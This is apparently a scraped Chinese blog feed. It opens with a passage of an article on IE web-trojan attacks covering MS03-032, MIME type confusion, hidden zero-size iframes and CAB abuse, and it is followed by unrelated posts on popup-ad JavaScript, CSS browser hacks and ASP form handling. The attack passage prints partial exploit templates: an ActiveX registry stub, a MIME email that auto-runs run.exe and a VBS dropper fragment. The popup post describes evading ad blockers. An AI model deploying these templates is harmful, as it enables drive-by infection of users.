Hta网页木马，是利用Internet Explorer Object Data(MS03-032)漏洞制作的网页木马，此漏洞是因为Internet Explorer在处理对象"Object"标记时没有正确处理要被装载的文件参数。("Object"标记用于插入ActiveX组件等对象到HTML 页面。"Object"标记的"Type"属性用于设置或获取对象的MIME类型。通常合法MIME类型包括"plain/text" 或"application/hta", "audio/x-mpeg"等。)Internet Explorer指定远程对象数据位置的参数没有充分检查被装载的文件属性，攻击者可以构建恶意页面，诱使用户访问来运行恶意页面指定的程序 。

8.利用CHM格式漏洞。

这种网页木马首先创建一个Htm文件，包含如下代码：

Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit

四、网页木马的基本用法

理解了网页木马攻击的原理，以及常用的漏洞，就可以写出相关的利用代码。制作出网页木马，然后就是传播网页木马，目前网页木马的主要传播途径是：

1.通过IM及时聊天软件传播

将包含网页木马的地址(网址)通过QQ等聊天软件在网络中分发，一旦有用户访问了该网页，该网页就会在系统中自动下载并运行放置在网络上的木马。

2.攻击知名网站，获得Webshell权限后，在网站中填加恶意代码，如：

(1)iframe

注：';

利用在知名门户网站，填加恶意脚本的攻击行为很多，例如，安天实验室在06年8月份就发现了针对KFC肯德基，雪花啤酒，迈拓硬盘等知名网站的攻击行为。所采用的都是此种方式。

3.利用美丽的网页名称及内容，诱惑用户访问。

很多恶意网页或是站点的制作者，对浏览者的心理进行了分析，对域名的选择和利用非常精明。很多网民对一 些黄色信息比较感兴趣，成为了他们利用的渠道。他们会构建名www.love.com，或是http://bangbus.year.net等具有诱惑性 的名称诱惑用户点击。

4.利用电子邮件等传播。

攻击者，利用电子邮件群发工具，发送包含诱惑性信息的主题邮件，诱惑用户点击其中包含的网页。

五、目前常用的网页木马制作方式

1.Javascript.Exception.Exploit

利用JS+WSH的完美结合，来制作恶意网页。

2.错误的MIME Multipurpose Internet Mail Extentions，多用途的网际邮件扩充协议头.几乎是现在网页木马流行利用的基本趋势，这个漏洞在IE5.0到IE6.0版本中都有。

3.EXE to .BMP + Javascritp.Exception.Exploit用虚假的BMP文件诱惑用户运行。

4.iframe 漏洞的利用

当微软的IE窗口打开另一个窗口时，如果子窗口是另一个域或安全区的话，安全检查应当阻止父窗口访问子 窗口。但事实并非如此，父窗口可以访问子窗口文档的frame，这可能导致父窗口无论是域或安全区都能在子窗口中设置Frame或IFrame的URL。 这会带来严重的安全问题，通过设置URL指向javascript协议，父窗口能在子域环境下运行脚本代码，包括任意的恶意代码。攻击者也能在“我的电脑 ”区域中运行脚本代码。这更会造成严重的后果。

5.通过安全认证的CAB,COX

此类方法就是在.CAB文件上做手脚，使证书.SPC和密钥.PVK合法

原理：IE读文件时会有文件读不出，就会去“升级”这样它会在网页中指定的位找 .cab 并在系统里写入个CID读入.cab里的文件。

方法：.cab是WINDOWS里的压缩文件， IE里所用的安全文件是用签名的，CAB也不例外，所做的CAB是经过安全使用证书引入的。也就是说IE认证攻击，之所以每次都能入侵，是因为它通过的是IE认证下的安全攻击。

6.EXE文件的捆绑

现在的网页木马捆绑机几乎是开始泛滥了，多的数不胜数。再将生成的MHT文件进行加密。

六、常用网页木马运行原理的分析

1.Javascript.Exception.Exploit

常用的攻击代码：

 

Function destroy(){
try
{
//ActiveX initialization 初始化ActiveX，为修改注册表做准备
a1=document.applets[0];
//获取applet运行对象，以下语句指向注册表中有关IE的表项
a1.setCLSID( "{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID( "{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID( "{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();
try
{
开始进行破坏
}
}
catch(e)
{}
}
catch(e)
{}
}
function do()
{
//初始化函数，并每隔一秒执行修改程序
setTimeout( "destroy()", 1000); //设定运行时间1秒
}
Do() //进行破坏的执行函数指令

这个代码是JAVAScript编写，很简单，但却可以修改受影响系统的注册表，释放垃圾文件，格式化硬盘等。 2.错误的MIME Multipurpose Internet Mail Extentions,多用途的网际邮件扩充协议头

常用的攻击代码：

 

Content-Type: multipart/related;
type="multipart/alternative";
boundary= "====B===="
--====B====
Content-Type: multipart/alternative;
boundary= "====A===="
--====A====
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable
--====A====--
--====B====
Content-Type: audio/x-wav;
name= "run.exe"
Content-Transfer-Encoding: base64
Content-ID: ---以下省略AAAAA N+1个---

把run.exe的类型定义为audio/x-wav，这是利用客户端支持的 MIME(多部分网际邮件扩展，Multipart Internet Mail Extension) 类型的漏洞来完成的。当申明邮件的类型audio/x-wav时，IE存在的一个漏洞会将附件认为是音频文件自动尝试打开，，结果导致邮件文件x.eml中的附件run.exe被执行。在win2000上，即使是用鼠标点击下载下来的 x.eml，或是拷贝粘贴，都会导致x.eml中的附件被运行。整个程序的运行还是依靠x.eml这个文件来支持。Content-Transfer-Encoding: base64 Content-ID: 从中可以看出，由于定义后字符格式为base64，那么一下的代码全部为加密过的代码，里面可以是任何执行的命令：

〈script language=vbs〉
On Error Resume Next•　容错语句，避免程序崩溃
set aa=CreateObject( "WScript.Shell")•建立WScript对象
Set fs = CreateObject( "Scripting.FileSystemObject")•建立文件系统对象
Set dir1 = fs.GetSpecialFolder(0)•得到Windows路径
Set dir2 = fs.GetSpecialFolder(1)•得到System路径
……省略……

之所以有的病毒不能准确的清除全部的病毒体，是因为很多杀毒软件，病毒监控只杀当时查到的，却不能处理新建的文件。 3.Iframe 漏洞的利用

常用攻击代码：

 

〈iframe src=run.eml width=0 height=0〉〈/iframe〉

常见的木马运用格式，高度和宽度为0的一个框架网页。 一个框架引用的新方式，对type="text/x-scriptlet" 的调整后，就可以实现和eml格式文件同样的效果。

4.Microsoft Internet Explorer浏览器弹出窗口Object类型验证漏洞的利用

常见攻击代码：

 

 

----- code cut start for run.asp -----
----- code cut end for run.asp -----

七、网页木马运行后特征分析

1.系统的默认主页被更改，并且IE工具栏内的修改功能被屏蔽掉;

2.在系统的桌面上无故出现陌生网站的链接，无论怎么删除，每次开机都依旧会出现，如果单击鼠标右键，出现的工具栏中有也会有大量陌生网站的链接;

3.系统桌面及桌面上的图标被隐藏;

4.注册表编辑器被锁定，从而无法修改注册表;

5.上网之前，系统一切正常，下网之后系统就会出现异常情况，如系统盘丢失、硬盘遭到格式化等;

6.上陌生网站后，出现提示框“您已经被XX病毒攻击”，之后系统出现异常;

7.登陆站点后，出现一个窗口迅速打开后又消失的现象，系统文件夹内出现异常文件;

8.系统的进程中出现未知进程，而且无法终止，终止后会自动重新出现;

9.系统CPU占用率高;

10.登陆某站点后，杀毒监控软件报警，并删除病毒文件，位置在IE的缓冲区。重新启动计算机后发现IE默认设置被修改。

11.自动弹出广告;

12.信用卡，QQ帐号丢失等;

八、网页木马的预防

1. 避免浏览包含不健康内容的网页;

2. 由于网页木马是含有害代码的ActiveX网页文件，因此在IE设置中将ActiveX插件和控件、Java脚本等全部禁止。

具体方法是：在IE窗口中点击"工具→Internet选项，在弹出的对话框中选择"安全"标签，再点 击"自定义级别"按钮，就会弹出"安全设置"对话框，把其中所有ActiveX插件和控件以及Java相关全部选择"禁用"即可。不过，这样在网页浏览过 程中可能会造成一些正常使用ActiveX的网站无法浏览。

3.对Windows 2000和WINDOWS XP用户，还可以通过在服务里，禁用远程注册表操作服务"Remote Registry Service"，来对付该类网页。具体方法是：点击"管理工具→服务→Remote Registry Service(允许远程注册表操作)"，禁用即可。

4.升级浏览器到IE6.0并及时安装升级补丁。

5.下载微软最新的Microsoft Windows Script

6. 安装反病毒软件以及防火墙，打开网页监控和脚本监控.

后记：

网页木马，目前的发展方向，是利用操作系统，浏览器存在的溢出漏洞，来下载Trojan- Downloader类木马，达到传播病毒的目的。而网页木马的传播方式，目前，主要是黑客攻击知名网站，在代码中填加恶意脚本，从而达到，利用知名网 站，访问量高的特点，快速传播的目的。网页木马本身的危害巨大，但它带来的最大影响，是可能传播恶性的病毒，造成极大的危害。

通过最近的这些病毒分析，现在越来越多的入侵者采取网页挂马，来达到控制更多的“肉鸡”从而达到，靠流 量和贩卖“肉鸡”来达到收入最大话，通过网站钓鱼，来捕获受害人的信用卡帐号以及个人隐私，更有甚者进行非法交易，出卖给一些商业间谍等，以后的病毒防范 和研究工作还将继续进行下去，任重而道远。

欢迎大家和我交流，我们一同来打一场反黑反病毒的持久战，同时在这里我还是要感谢安天实验室的全体cert组成员，能全力支持我，配合我来更快更好的完成病毒分析工作，也同样感谢我的两个助手-----王清，王琪，以及诚信网安的全体成员，谢谢你们对我工作的支持和帮助。



--------------------------
新闻：数万名网友签名抗议星际争霸2取消局域网功能
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>右下角弹出广告（视频）--绝对可用http://www.cnblogs.com/lemtree/articles/1435763.html萧木柯萧木柯Tue, 14 Apr 2009 08:46:00 GMThttp://www.cnblogs.com/lemtree/articles/1435763.htmlhttp://www.cnblogs.com/lemtree/comments/1435763.htmlhttp://www.cnblogs.com/lemtree/articles/1435763.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1435763.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1435763.html想做个弹出广告，就是很普通的在右下角弹出，就像QQ的弹出消息框一样。本人特懒，一般都是在网上找代码修改后使用，在百度一搜，遍地都是，但是发现下回来的代码都有一个通病，源代码加了 “<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">“以后就无法弹出了，先给出修改后的代码：

 

<!--汽车4S店导航网右下角弹出广告--JS代码-->
<Script language="javascript">
<!--
window.onload = getMsg;
window.onresize = resizeDiv;
window.onerror = function(){}
var divTop,divLeft,divWidth,divHeight,docHeight,docWidth,objTimer,i = 0;
function getMsg()
{
try{
divTop = parseInt(document.getElementById("eMeng").style.top,10)
divLeft = parseInt(document.getElementById("eMeng").style.left,10)
divHeight = parseInt(document.getElementById("eMeng").offsetHeight,10)
divWidth = parseInt(document.getElementById("eMeng").offsetWidth,10)
docWidth = document.documentElement.clientWidth;
docHeight = document.documentElement.clientHeight;
document.getElementById("eMeng").style.top = parseInt(document.documentElement.scrollTop,10) + docHeight + 10;// divHeight
document.getElementById("eMeng").style.left = parseInt(document.documentElement.scrollLeft,10) + docWidth - divWidth
document.getElementById("eMeng").style.visibility="visible"
objTimer = window.setInterval("moveDiv()",10)
}
catch(e){}
}

function resizeDiv()
{
i+=1
//if(i>1300) closeDiv() //客户想不用自动消失由用户来自己关闭所以屏蔽这句
try{
divHeight = parseInt(document.getElementById("eMeng").offsetHeight,10)
divWidth = parseInt(document.getElementById("eMeng").offsetWidth,10)
docWidth = document.documentElement.clientWidth;
docHeight = document.documentElement.clientHeight;
document.getElementById("eMeng").style.top = docHeight - divHeight + parseInt(document.documentElement.scrollTop,10);
document.getElementById("eMeng").style.left = docWidth - divWidth + parseInt(document.documentElement.scrollLeft,10)
}
catch(e){}
}

function moveDiv()
{
try
{
if(parseInt(document.getElementById("eMeng").style.top,10) <= (docHeight - divHeight + parseInt(document.documentElement.scrollTop,10)))
{
window.clearInterval(objTimer)
objTimer = window.setInterval("resizeDiv()",1)
}
divTop = parseInt(document.getElementById("eMeng").style.top,10)
document.getElementById("eMeng").style.top = divTop - 1
}
catch(e){}
}
function closeDiv()
{
document.getElementById('eMeng').innerHTML='';
document.getElementById('eMeng').style.visibility='hidden';
if(objTimer) window.clearInterval(objTimer)
}
-->
</Script>
<!--汽车4S店导航网右下角弹出广告--JS代码  结束-->
<!--汽车4S店导航网右下角弹出广告--广告内容-->
<DIV id=eMeng style="BORDER-RIGHT: #455690 1px solid; BORDER-TOP: #a6b4cf 1px solid; Z-INDEX:99999; LEFT: 0px; VISIBILITY: hidden; BORDER-LEFT: #a6b4cf 1px solid; WIDTH: 260px; BORDER-BOTTOM: #455690 1px solid; POSITION: absolute; TOP: 0px; HEIGHT: 198px; ">
<TABLE style="BORDER-TOP: #ffffff 1px solid; BORDER-LEFT: #ffffff 1px solid" cellSpacing=0 cellPadding=0 width="100%" bgColor=#AFDCF3 border=0>
<TBODY>
<TR>
<TD style="background-image: url('AD/tamkuang.gif'); padding-right: 1px; padding-bottom: 1px; width:254px; height:194px;" colSpan=2></TD>
<TD width="25" valign=middle  align="center" style="font-weight: normal; font-size: 12px; width:25px;color: #ffffff; padding-left: 2px; padding-top: 10px ;background-color:#FB6413;"><span style="layout-flow:vertical-ideographic;font-weight:bold;" >汽 车 4S 店 导 航 网</span><span title=关闭 style="CURSOR: hand;color:white;font-size:14px;font-weight:bolder;margin-right:1px;" onclick=closeDiv() >X</span></TD>
</TR>
</TBODY>
</TABLE>
</DIV><!--汽车4S店导航网右下角弹出广告--广告内容---结束-->

值得注意的地方：由于遨游，TheWorld等浏览器有弹窗广告拦截功能，所以代码中红色的地方没直接插入图片，那样会让它们作为广告过滤掉，所以直接将图片做成背景，它识不出来了，可以安全打开，不会被拦截掉。

 

 



--------------------------
新闻：Silverlight打造杰克逊纪念专题
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>最全面的CSS浏览器兼容问题整理http://www.cnblogs.com/lemtree/articles/1430239.html萧木柯萧木柯Mon, 06 Apr 2009 05:36:00 GMThttp://www.cnblogs.com/lemtree/articles/1430239.htmlhttp://www.cnblogs.com/lemtree/comments/1430239.htmlhttp://www.cnblogs.com/lemtree/articles/1430239.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1430239.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1430239.html 
CSS对浏览器的兼容性有时让人很头疼,或许当你了解当中的技巧跟原理,就会觉得也不是难事,从网上收集了IE7,6与Fireofx的兼容性处理方法并整理了一下.对于web2.0的过度,请尽量用xhtml格式写代码,而且DOCTYPE 影响 CSS 处理,作为W3C的标准,一定要加DOCTYPE声名.

CSS技巧

1.div的垂直居中问题

vertical-align:middle; 将行距增加到和整个DIV一样高 line-height:200px; 然后插入文字，就垂直居中了。缺点是要控制内容不要换行

2. margin加倍的问题

设置为float的div在ie下设置的margin会加倍。这是一个ie6都存在的bug。解决方案是在这个div里面加上display:inline;
例如：
<#div id=”imfloat”>
相应的css为
#IamFloat{
float:left;
margin:5px;
display:inline;}

3.浮动ie产生的双倍距离

#box{ float:left; width:100px; margin:0 0 0 100px; //这种情况之下IE会产生200px的距离 display:inline; //使浮动忽略}
这里细说一下block与inline两个元素：block元素的特点是,总是在新行上开始,高度,宽度,行高,边距都可以控制(块元素);Inline元素的特点是,和其他元素在同一行上,不可控制(内嵌元素);
#box{ display:block; //可以为内嵌元素模拟为块元素 display:inline; //实现同一行排列的效果 diplay:table;

4 IE与宽度和高度的问题

IE不认得min-这个定义，但实际上它把正常的width和height当作有min的情况来使。这样问题就大了，如果只用宽度和高度，正常的浏览器里这两个值就不会变，如果只用min-width和min-height的话，IE下面根本等于没有设置宽度和高度。
比如要设置背景图片，这个宽度是比较重要的。要解决这个问题，可以这样：
#box{ width: 80px; height: 35px;}html>body #box{ width: auto; height: auto; min-width: 80px; min-height: 35px;}

5.页面的最小宽度

min-width是个非常方便的CSS命令，它可以指定元素最小也不能小于某个宽度，这样就能保证排版一直正确。但IE不认得这个，而它实际上把width当做最小宽度来使。为了让这一命令在IE上也能用，可以把一个<div> 放到 <body> 标签下，然后为div指定一个类,然后CSS这样设计：
#container{ min-width: 600px; width:expression(document.body.clientWidth < 600? "600px": "auto" );}
第一个min-width是正常的；但第2行的width使用了Javascript，这只有IE才认得，这也会让你的HTML文档不太正规。它实际上通过Javascript的判断来实现最小宽度。

6.DIV浮动IE文本产生3象素的bug

左边对象浮动，右边采用外补丁的左边距来定位，右边对象内的文本会离左边有3px的间距.
#box{ float:left; width:800px;}
#left{ float:left; width:50%;}
#right{ width:50%;}
*html #left{ margin-right:-3px; //这句是关键}
<div id="box">
<div id="left"></div>
<div id="right"></div>
</div>

7.IE捉迷藏的问题

当div应用复杂的时候每个栏中又有一些链接，DIV等这个时候容易发生捉迷藏的问题。
有些内容显示不出来，当鼠标选择这个区域是发现内容确实在页面。 解决办法：对#layout使用line-height属性 或者给#layout使用固定高和宽。页面结构尽量简单。

8.float的div闭合;清除浮动;自适应高度;

①例如：<#div id=”floatA” ><#div id=”floatB” ><#div id=”NOTfloatC” >这里的NOTfloatC并不希望继续平移，而是希望往下排。(其中floatA、floatB的属性已经设置为float:left;)
这段代码在IE中毫无问题，问题出在FF。原因是NOTfloatC并非float标签，必须将float标签闭合。在 <#div class=”floatB”> <#div class=”NOTfloatC”>之间加上 <#div class=”clear”>这个div一定要注意位置，而且必须与两个具有float属性的div同级，之间不能存在嵌套关系，否则会产生异常。 并且将clear这种样式定义为为如下即可： .clear{ clear:both;}

②作为外部 wrapper 的 div 不要定死高度,为了让高度能自动适应，要在wrapper里面加上overflow:hidden; 当包含float的box的时候，高度自动适应在IE下无效，这时候应该触发IE的layout私有属性(万恶的IE啊！)用zoom:1;可以做到，这样就达到了兼容。
例如某一个wrapper如下定义：
.colwrapper{ overflow:hidden; zoom:1; margin:5px auto;}

③对于排版,我们用得最多的css描述可能就是float:left.有的时候我们需要在n栏的float div后面做一个统一的背景,譬如:
<div id=”page”>
<div id=”left”></div>
<div id=”center”></div>
<div id=”right”></div>
</div>
比如我们要将page的背景设置成蓝色,以达到所有三栏的背景颜色是蓝色的目的,但是我们会发现随着left center right的向下拉长,而page居然保存高度不变,问题来了,原因在于page不是float属性,而我们的page由于要居中,不能设置成float,所以我们应该这样解决
<div id=”page”>
<div id=”bg” style=”float:left;width:100%”>
<div id=”left”></div>
<div id=”center”></div>
<div id=”right”></div>
</div>
</div>
再嵌入一个float left而宽度是100%的DIV解决之

④万能float 闭合(非常重要!)
关于 clear float 的原理可参见 [How To Clear Floats Without Structural Markup],将以下代码加入Global CSS 中,给需要闭合的div加上 class="clearfix" 即可,屡试不爽.

.clearfix:after { content:"."; display:block; height:0; clear:both; visibility:hidden; }
.clearfix { display:inline-block; }

.clearfix {display:block;}


或者这样设置：.hackbox{ display:table; //将对象作为块元素级的表格显示}

11.高度不适应

高度不适应是当内层对象的高度发生变化时外层高度不能自动进行调节，特别是当内层对象使用margin 或paddign 时。
例：
#box {background-color:#eee; }
#box p {margin-top: 20px;margin-bottom: 20px; text-align:center; }
<div id="box">
<p>p对象中的内容</p>
</div>
解决方法：在P对象上下各加2个空的div对象CSS代码：.1{height:0px;overflow:hidden;}或者为DIV加上border属性。

12 .IE6下为什么图片下有空隙产生

解决这个BUG的方法也有很多,可以是改变html的排版,或者设置img 为display:block 或者设置vertical-align 属性为vertical-align:top | bottom |middle |text-bottom 都可以解决.

13.如何对齐文本与文本输入框

加上 vertical-align:middle;
<style type="text/css">
<!--
input {
width:200px;
height:30px;
border:1px solid red;
vertical-align:middle;
}
-->
</style>

14.web标准中定义id与class有什么区别吗

一.web标准中是不容许重复ID的,比如 div id="aa" 不容许重复2次,而class 定义的是类,理论上可以无限重复, 这样需要多次引用的定义便可以使用他.

二.属性的优先级问题
ID 的优先级要高于class,看上面的例子

三.方便JS等客户端脚本,如果在页面中要对某个对象进行脚本操作,那么可以给他定义一个ID,否则只能利用遍历页面元素加上指定特定属性来找到它,这是相对浪费时间资源,远远不如一个ID来得简单.

15. LI中内容超过长度后以省略号显示的方法

此方法适用与IE与OP浏览器

<style type="text/css">
<!--
li {
width:200px;
white-space:nowrap;
text-overflow:ellipsis;
-o-text-overflow:ellipsis;
overflow: hidden;
}

-->
</style>

16.为什么web标准中IE无法设置滚动条颜色了

解决办法是将body换成html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<style type="text/css">
<!--
html {
scrollbar-face-color:#f6f6f6;
scrollbar-highlight-color:#fff;
scrollbar-shadow-color:#eeeeee;
scrollbar-3dlight-color:#eeeeee;
scrollbar-arrow-color:#000;
scrollbar-track-color:#fff;
scrollbar-darkshadow-color:#fff;
}
-->
</style>

17.为什么无法定义1px左右高度的容器

IE6下这个问题是因为默认的行高造成的,解决的方法也有很多,例如:overflow:hidden | zoom:0.08 | line-height:1px

18.怎么样才能让层显示在FLASH之上呢

解决的办法是给FLASH设置透明
<param name="wmode" value="transparent" />

19.怎样使一个层垂直居中于浏览器中

这里我们使用百分比绝对定位,与外补丁负值的方法,负值的大小为其自身宽度高度除以二
<style type="text/css">
<!--
div {
position:absolute;
top:50%;
lef:50%;
margin:-100px 0 0 -100px;
width:200px;
height:200px;
border:1px solid red;
}
-->
</style>



FF与IE

1. Div居中问题

div设置 margin-left, margin-right 为 auto 时已经居中，IE 不行，IE需要设定body居中，首先在父级元素定义text-algin: center;这个的意思就是在父级元素内的内容居中。

2.链接(a标签)的边框与背景

a链接加边框和背景色，需设置 display: block, 同时设置 float: left 保证不换行。参照 menubar, 给 a 和 menubar 设置高度是为了避免底边显示错位, 若不设 height, 可以在 menubar 中插入一个空格。

3.超链接访问过后hover样式就不出现的问题

被点击访问过的超链接样式不在具有hover和active了,很多人应该都遇到过这个问题,解决方法是改变CSS属性的排列顺序: L-V-H-A
Code:
<style type="text/css">
<!--
a:link {}
a:visited {}
a:hover {}
a:active {}
-->
</style>

4. 游标手指cursor

cursor: pointer 可以同时在 IE FF 中显示游标手指状， hand 仅 IE 可以

5.UL的padding与margin

ul标签在FF中默认是有padding值的,而在IE中只有margin默认有值,所以先定义 ul{margin:0;padding:0;}就能解决大部分问题

6. FORM标签

这个标签在IE中,将会自动margin一些边距,而在FF中margin则是0,因此,如果想显示一致,所以最好在css中指定margin和padding,针对上面两个问题,我的css中一般首先都使用这样的样式ul,form{margin:0;padding:0;}给定义死了,所以后面就不会为这个头疼了.

7. BOX模型解释不一致问题

在FF和IE中的BOX模型解释不一致导致相差2px解决方法：div{margin:30px!important;margin:28px;} 注意这两个margin的顺序一定不能写反， important这个属性IE不能识别，但别的浏览器可以识别。所以在IE下其实解释成这样： div{maring:30px;margin:28px}重复定义的话按照最后一个来执行，所以不可以只写margin:xx px!important;
#box{ width:600px; //for ie6.0- w\idth:500px; //for ff+ie6.0}
#box{ width:600px!important //for ff width:600px; //for ff+ie6.0 width :500px; //for ie6.0-}

8.属性选择器(这个不能算是兼容,是隐藏css的一个bug)

p[id]{}div[id]{}
这个对于IE6.0和IE6.0以下的版本都隐藏,FF和OPera作用.属性选择器和子选择器还是有区别的,子选择器的范围从形式来说缩小了,属性选择器的范围比较大,如p[id]中,所有p标签中有id的都是同样式的.

9.最狠的手段 - !important;

如果实在没有办法解决一些细节问题,可以用这个方法.FF对于”!important”会自动优先解析,然而IE则会忽略.如下
.tabd1{
background:url(/res/images/up/tab1.gif) no-repeat 0px 0px !important;
background:url(/res/images/up/tab1.gif) no-repeat 1px 0px; }
值得注意的是，一定要将xxxx !important 这句放置在另一句之上，上面已经提过

10.IE,FF的默认值问题

或许你一直在抱怨为什么要专门为IE和FF写不同的CSS，为什么IE这样让人头疼，然后一边写css，一边咒骂那个可恶的M$ IE.其实对于css的标准支持方面，IE并没有我们想象的那么可恶，关键在于IE和FF的默认值不一样而已，掌握了这个技巧，你会发现写出兼容FF和IE的css并不是那么困难，或许对于简单的css，你完全可以不用”!important”这个东西了。
我们都知道，浏览器在显示网页的时候，都会根据网页的css样式表来决定如何显示，但是我们在样式表中未必会将所有的元素都进行了具体的描述，当然也没有必要那么做，所以对于那些没有描述的属性，浏览器将采用内置默认的方式来进行显示，譬如文字，如果你没有在css中指定颜色，那么浏览器将采用黑色或者系统颜色来显示，div或者其他元素的背景，如果在css中没有被指定，浏览器则将其设置为白色或者透明，等等其他未定义的样式均如此。所以有很多东西出现FF和IE显示不一样的根本原因在于它们的默认显示不一样，而这个默认样式该如何显示我知道在w3中有没有对应的标准来进行规定，因此对于这点也就别去怪罪IE了。

11.为什么FF下文本无法撑开容器的高度

标准浏览器中固定高度值的容器是不会象IE6里那样被撑开的,那我又想固定高度,又想能被撑开需要怎样设置呢？办法就是去掉height设置min-height:200px; 这里为了照顾不认识min-height的IE6 可以这样定义:

{
height:auto!important;
height:200px;
min-height:200px;
}

12.FireFox下如何使连续长字段自动换行

众所周知IE中直接使用 word-wrap:break-word 就可以了, FF中我们使用JS插入&#10;的方法来解决

<style type="text/css">
<!--
div {
width:300px;
word-wrap:break-word;
border:1px solid red;
}
-->
</style>

<div id="ff">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</div>

<scrīpt type="text/javascrīpt">

function toBreakWord(el, intLen){
var ōbj=document.getElementById(el);
var strContent=obj.innerHTML;
var strTemp="";
while(strContent.length>intLen){
strTemp+=strContent.substr(0,intLen)+"&#10;";
strContent=strContent.substr(intLen,strContent.length);
}
strTemp+="&#10;"+strContent;
obj.innerHTML=strTemp;
}
if(document.getElementById && !document.all) toBreakWord("ff", 37);

</scrīpt>

13.为什么IE6下容器的宽度和FF解释不同呢

<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<style type="text/css">
<!--
div {
cursor:pointer;
width:200px;
height:200px;
border:10px solid red
}
-->
</style>
<div ōnclick="alert(this.offsetWidth)">让FireFox与IE兼容</div>

问题的差别在于容器的整体宽度有没有将边框（border）的宽度算在其内,这里IE6解释为200PX ,而FF则解释为220PX,那究竟是怎么导致的问题呢？大家把容器顶部的xml去掉就会发现原来问题出在这,顶部的申明触发了IE的qurks mode,关于qurks mode、standards mode的相关知识,请参考:http://www.microsoft.com/china/msdn/library/webservices/asp.net/
ASPNETusStan.mspx?mfr=true



IE6,IE7,FF

IE7.0出来了，对CSS的支持又有新问题。浏览器多了，网页兼容性更差了，疲于奔命的还是我们 ，为解决IE7.0的兼容问题，找来了下面这篇文章： 现在我大部分都是用!important来hack，对于ie6和firefox测试可以正常显示，但是ie7对!important可以正确解释，会导致页面没按要求显示！下面是三个浏览器的兼容性收集.

第一种，是CSS HACK的方法

height:20px;
*height:25px;
_height:20px;

注意顺序。

这样也属于CSS HACK，不过没有上面这样简洁。
#example { color: #333; }
* html #example { color: #666; }
*+html #example { color: #999; }


第二种，是使用IE专用的条件注释

<!--其他浏览器 -->
<link rel="stylesheet" type="text/css" href="css.css" />

<!--[if IE 7]>
<!-- 适合于IE7 -->
<link rel="stylesheet" type="text/css" href="ie7.css" />
<![endif]-->

<!--[if lte IE 6]>
<!-- 适合于IE6及一下 -->
<link rel="stylesheet" type="text/css" href="ie.css" />
<![endif]-->

第三种，css filter的办法，以下为经典从国外网站翻译过来的。.

新建一个css样式如下：
#item {
width: 200px;
height: 200px;
background: red;
}

新建一个div,并使用前面定义的css的样式：
<div id="item">some text here</div>

在body表现这里加入lang属性,中文为zh：
<body lang="en">

现在对div元素再定义一个样式：
*:lang(en) #item{
background:green !important;
}

这样做是为了用!important覆盖原来的css样式,由于:lang选择器ie7.0并不支持,所以对这句话不会有任何作用,于是也达到了ie6.0下同样的效果,但是很不幸地的是,safari同样不支持此属性,所以需要加入以下css样式：
#item:empty {
background: green !important
}
:empty选择器为css3的规范,尽管safari并不支持此规范,但是还是会选择此元素,不管是否此元素存在,现在绿色会现在在除ie各版本以外的浏览器上。

对IE6和FF的兼容可以考虑以前的!important 个人比较喜欢用第一种，简洁，兼容性比较好。


--------------------------
新闻：传诺基亚正在开发Android手机
网站导航: 博客园首页  新闻  .NET频道  社区  博问  闪存  找找看]]>asp表单安全 --- 防止后退和刷新多次提交表单http://www.cnblogs.com/lemtree/articles/1421000.html萧木柯萧木柯Tue, 24 Mar 2009 15:55:00 GMThttp://www.cnblogs.com/lemtree/articles/1421000.htmlhttp://www.cnblogs.com/lemtree/comments/1421000.htmlhttp://www.cnblogs.com/lemtree/articles/1421000.html#Feedback0http://www.cnblogs.com/lemtree/comments/commentRss/1421000.htmlhttp://www.cnblogs.com/lemtree/services/trackbacks/1421000.html为了防止用户通过后退和刷新提交页面而产生的重复提交，可以采用以下办法。

防止后退：页面顶部加入以下代码，禁止浏览器缓存页面

<%  '禁止后退
Response.Buffer = True 
Response.ExpiresAbsolute = Now() - 1
Response.Expires = 0
Response.CacheControl = "no-cache"
%>

防止刷新提交页而产生重复提交：

STEP1、我在表单提交页设置 <% Session.Contents("work")="yes" %>

<input name="work" type="hidden" id="work" value="<%=session("work")%>">  这个隐藏域不要也可以

 

STEP2、在处理提交表单数据页（add_work.asp）有一个判断代码：

<%if Session.Contents("work")="yes" then %>

%
set rs=server.createobject("adodb.recordset")
sql="select * from work"
rs.open sql,conn,1,3
rs.addnew
work_ask=request.form("work_ask")

rs("work_ask")=work_ask

 rs.update   '更新数据表记录
rs.close
set rs=nothing
conn.close
Set conn=Nothing
Session.Contents("work")="no"            '更新成功后将值设置为no
%>

<h1>表单提交成功</h1>

<% Else If Session.Contents("work")="no" then     '不成功则提示然后转跳
  response.write ("<script language='javascript'>alert('请勿重复提交！');location='index.asp';</script>")
  end if
  %>

